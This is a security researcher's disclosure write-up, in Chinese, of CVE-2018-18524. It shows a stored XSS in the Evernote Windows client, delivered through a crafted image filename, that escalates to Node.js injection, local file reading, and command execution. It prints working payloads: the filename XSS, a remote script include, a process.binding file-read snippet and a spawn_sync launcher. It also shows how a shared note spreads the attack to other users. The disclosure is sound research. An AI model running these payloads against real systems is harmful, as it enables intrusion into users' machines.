作者: dawu@知道創宇404實驗室
時間: 2018/10/24
English Version
0x00 漏洞簡介
- 印象筆記 Windows 客戶端 6.14 版本修復了一個儲存型 XSS。
- 由于只修復了 XSS 的入口點而沒有在出口處添加過濾,導致攻擊者可以在 6.14 版本的客戶端中生成儲存型 XSS并在 6.15 版本中觸發。
- 印象筆記的展示模式是使用 NodeWebKit 實現的,通過儲存型 XSS 可以在展示模式下注入 Nodejs 代碼。
- 經過各種嘗試,最終通過注入的 Nodejs 代碼實現了本地文件讀取和遠程命令執行。
0x01 前言
2018/09/20,我當時的同事@sebao告訴我印象筆記修復了他的 XSS 漏洞并登上了名人堂,碰巧國慶的時候考古過幾個客戶端 XSS 導致命令執行的案例,就想在印象筆記客戶端也尋找一下類似的問題。在之后的測試過程中,我不僅發現原本的 XSS 修復方案存在漏洞、利用這個 XSS 漏洞實現了本地文件讀取和遠程命令執行,還通過分享筆記的功能實現了遠程攻擊。
0x02 印象筆記 Windows 客戶端 6.14 儲存型 XSS 漏洞
@sebao 發現的儲存型 XSS 漏洞的觸發方式如下:
1. 在筆記中添加一張圖片
2. 右鍵并將該圖片更名為 " onclick="alert(1)">.jpg"
3. 雙擊打開該筆記并點擊圖片,成功彈框。

經過測試,印象筆記官方修復該 XSS 的方式為:在更名處過濾了 >、<、" 等特殊字符,但有意思的是我在 6.14 版本下測試的 XSS 在 6.15 版本中依舊可以彈框,這也就意味著:官方只修了 XSS 的入口,在 XSS 的輸出位置,依舊是沒有任何過濾的。
0x03 演示模式下的 Nodejs 代碼注入
XSS 修復方案存在漏洞并不能算是一個很嚴重的安全問題,所以我決定深入挖掘一下其他的漏洞,比如本地文件讀取或者遠程命令執行。為了方便測試,我在 6.14 版本的客戶端中將一張圖片更名為 " onclick="alert(1)"><script src="http://172.16.4.1:8000/1.js">.jpg 后,將客戶端升級為最新版 6.15。
我測試了一些特殊的 API,例如evernote.openAttachment、goog.loadModuleFromUrl,但是沒有顯著的收獲。所以我轉換了思路,遍歷 C:\\Program Files(x86)\Evernote\Evernote\ 目錄下的所有文件。我發現印象筆記在 C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit 目錄下存在 NodeWebKit,在演示的時候,印象筆記會調用這個 NodeWebKit。
一個更好的消息是我可以通過之前發現的儲存型 XSS 在 NodeWebKit 中執行 Nodejs 代碼。

0x04 本地文件讀取 和 遠程命令執行的實現
既然可以注入 Nodejs 代碼,那就意味著我可以嘗試使用 child_process 來執行任意命令。
我嘗試使用 require('child_process').exec,但是卻報錯了: Module name "child_process" has not been loaded yet for context。

這個錯誤并沒有澆滅我剛發現 Nodejs 代碼注入的激情,我在查閱各種資料嘗試 解決/繞過 這個問題。最終,我發現了前人的足跡:How we exploited a remote code execution vulnerability in math.js
根據文中的內容,簡單的修改讀取本地文件的 payload 很快就實現了相應的功能:
alert("Try to read C:\\\\Windows\\win.ini");
try{
var buffer = new Buffer(8192);
process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini', 0, 0600), buffer, 0, 4096);
alert(buffer);
}
catch(err){
alert(err);
}
但是在嘗試遠程命令執行的時候,我遇到了一些問題。由于并不了解 Nodejs,所以我不知道為什么 NodeWebkit 中沒有 Object 和 Array,也不知道如何解決這個問題。我聽取了文中的建議,嘗試去理解 child_process的源碼,并且查找 spawn_sync 相關的用法。
最終,我從 window.process.env 中獲取到 env 的內容,并使用 spawn_sync 成功地彈出了計算器。
// command executed
try{
spawn_sync = process.binding('spawn_sync');
envPairs = [];
for (var key in window.process.env) {
envPairs.push(key + '=' + window.process.env[key]);
}
args = [];
const options = {
file: 'C:\\\\Windows\\system32\\calc.exe',
args: args,
envPairs: envPairs,
stdio: [
{ type: 'pipe', readable: true, writable: false },
{ type: 'pipe', readable: false, writable: true },
{ type: 'pipe', readable: false, writable: true }
]
};
spawn_sync.spawn(options);
}
catch(err){
alert(err);
}
0x05 通過分享功能攻擊其他用戶
在我實現了本地文件讀取和本機命令執行后,黑哥提出了一個更高的要求:證明這個漏洞可以影響到其他用戶。
在注冊了一個小號后,我嘗試使用分享功能將 惡意筆記 分享給 ”他人“。

我的小號將會在 工作空間 收到別人發來的消息。

我的小號嘗試演示這個筆記,被注入的 Nodejs 代碼成功執行!
0x06 感謝
- 感謝黑哥在漏洞發現和上報過程中的耐心指導和嚴格要求。
- 感謝我的前404同事sebao跟我分享了他發現的 XSS 漏洞細節。
- 感謝How we exploited a remote code execution vulnerability in math.js的作者、【技術分享】從PouchDB到RCE: 一個node.js注入向量的原文作者、中文譯者,這些優秀的文章為我提供了巨大的幫助。
0x07 時間線
2018/09/27,發現相關漏洞,攥寫報告并發送至 security@evernote.com。
2018/09/27,官方確認漏洞
2018/10/15,官方在 beta 版本 6.16.1 https://discussion.evernote.com/topic/116650-evernote-for-windows-616-beta-1/ 中修復相關漏洞,并將我的名字加入名人堂。
2018/10/19,在和官方溝通后,自行申請CVE,編號為:CVE-2018-18524
2018/11/05,Evernote 官方發布 正式版本 6.16.4,確認該漏洞被修復后公開漏洞細節。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/736/